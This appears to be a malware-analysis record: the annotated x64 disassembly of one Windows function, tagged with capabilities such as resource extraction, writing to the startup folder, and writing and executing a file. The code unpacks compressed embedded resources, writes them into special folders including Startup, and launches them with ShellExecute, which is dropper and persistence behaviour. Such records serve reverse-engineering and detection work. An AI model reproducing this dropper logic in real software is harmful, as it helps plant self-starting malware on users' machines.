Function at 0x140001000
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Get common file path
Get startup folder
Write and execute a file
Write file on windows
Write file to startup folder

Disassembly:
push rbp
push rbx
push r12
push r13
lea rbp, [rsp - 0x198]
sub rsp, 0x298
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x180], rax
xor edx, edx
lea r8, [rsp + 0x48]
xor r13d, r13d
mov r12d, 0x65
mov qword [rsp + 0x48], r13
lea ecx, [rdx + 4]
call qword [sym.imp.Cabinet.dll_CreateDecompressor]
lea r8d, [r12 - 0x5b]
mov edx, r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
je 0x14000146f
mov qword [rsp + 0x2c0], rsi
mov qword [rsp + 0x2c8], rdi
mov qword [rsp + 0x2d0], r14
mov qword [rsp + 0x290], r15
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test eax, eax
je 0x14000144f
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x14000144f
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x14000144f
mov rdx, rax
lea rcx, [rsp + 0x60]
mov r8d, 2
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub r8, 1
jne 0x1400010d0
mov rax, qword [rdx]
mov qword [rcx], rax
mov eax, dword [rdx + 8]
mov dword [rcx + 8], eax
lea eax, [rdi - 0x10c]
movsxd r14, eax
mov rcx, r14
call fcn.140003db4
lea rdx, [rbx + 0x10c]
mov r8, r14
mov rcx, rax
mov r15, rax
call fcn.140003440
xor edx, edx
lea rcx, [rbp + 0x70]
mov r8d, 0x104
call fcn.140002c20
mov ecx, dword [rsp + 0x60]
test ecx, ecx
je 0x140001352
sub ecx, 1
je 0x1400012e5
sub ecx, 1
je 0x140001275
sub ecx, 1
je 0x140001205
cmp ecx, 1
jne 0x140001371
lea r8d, [rcx + 0xf]
xor r9d, r9d
xor ecx, ecx
lea rdx, [rbp + 0x70]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea rcx, [rbp + 0x70]
dec rcx
nop dword [rax]
cmp byte [rcx + 1], r13b
lea rcx, [rcx + 1]
jne 0x1400011b0
movzx eax, word [0x1400147d0]
mov word [rcx], ax
lea rcx, [rbp + 0x70]
dec rcx
nop dword [rax + rax]
cmp byte [rcx + 1], r13b
lea rcx, [rcx + 1]
jne 0x1400011d0
lea r8, [rsp + 0x64]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x1400011f0
jmp 0x140001371
xor r9d, r9d
lea rdx, [rbp + 0x70]
xor ecx, ecx
lea r8d, [r9 + 7]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea rcx, [rbp + 0x70]
dec rcx
nop
cmp byte [rcx + 1], r13b
lea rcx, [rcx + 1]
jne 0x140001220
movzx eax, word [0x1400147d0]
mov word [rcx], ax
lea rcx, [rbp + 0x70]
dec rcx
nop dword [rax + rax]
cmp byte [rcx + 1], r13b
lea rcx, [rcx + 1]
jne 0x140001240
lea r8, [rsp + 0x64]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140001260
jmp 0x140001371
xor r9d, r9d
lea rdx, [rbp + 0x70]
xor ecx, ecx
lea r8d, [r9 + 0x2e]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea rcx, [rbp + 0x70]
dec rcx
nop
cmp byte [rcx + 1], r13b
lea rcx, [rcx + 1]
jne 0x140001290
movzx eax, word [0x1400147d0]
mov word [rcx], ax
lea rcx, [rbp + 0x70]
dec rcx
nop dword [rax + rax]
cmp byte [rcx + 1], r13b
lea rcx, [rcx + 1]
jne 0x1400012b0
lea r8, [rsp + 0x64]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x1400012d0
jmp 0x140001371
xor r9d, r9d
lea rdx, [rbp + 0x70]
xor ecx, ecx
lea r8d, [r9 + 0x1a]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea rcx, [rbp + 0x70]
dec rcx
nop
cmp byte [rcx + 1], r13b
lea rcx, [rcx + 1]
jne 0x140001300
movzx eax, word [0x1400147d0]
mov word [rcx], ax
lea rcx, [rbp + 0x70]
dec rcx
nop dword [rax + rax]
cmp byte [rcx + 1], r13b
lea rcx, [rcx + 1]
jne 0x140001320
lea r8, [rsp + 0x64]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140001340
jmp 0x140001371
mov rcx, r13
nop word [rax + rax]
movzx eax, byte [rsp + rcx + 0x64]
mov byte [rbp + rcx + 0x70], al
lea rcx, [rcx + 1]
test al, al
jne 0x140001360
movsxd rsi, dword [rbp + 0x68]
mov rcx, rsi
call fcn.140003db4
mov rcx, qword [rsp + 0x48]
mov rdi, rax
lea rax, [rsp + 0x50]
mov r9, rdi
mov qword [rsp + 0x28], rax
mov r8, r14
mov rdx, r15
mov qword [rsp + 0x20], rsi
call qword [sym.imp.Cabinet.dll_Decompress]
mov qword [rsp + 0x30], r13
lea rcx, [rbp + 0x70]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000144f
lea r9, [rsp + 0x40]
mov dword [rsp + 0x40], r13d
mov r8d, esi
mov qword [rsp + 0x20], r13
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov dword [rsp + 0x28], 5
lea r8, [rbp + 0x70]
mov qword [rsp + 0x20], r13
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rcx, rdi
call fcn.140003da0
mov rcx, r15
call fcn.140003da0
xor ecx, ecx
inc r12d
movzx edx, r12w
lea r8d, [rcx + 0xa]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
jne 0x140001081
mov r14, qword [rsp + 0x2d0]
mov rdi, qword [rsp + 0x2c8]
mov rsi, qword [rsp + 0x2c0]
mov r15, qword [rsp + 0x290]
mov rcx, qword [rbp + 0x180]
xor rcx, rsp
call fcn.140001d10
add rsp, 0x298
pop r13
pop r12
pop rbx
pop rbp
ret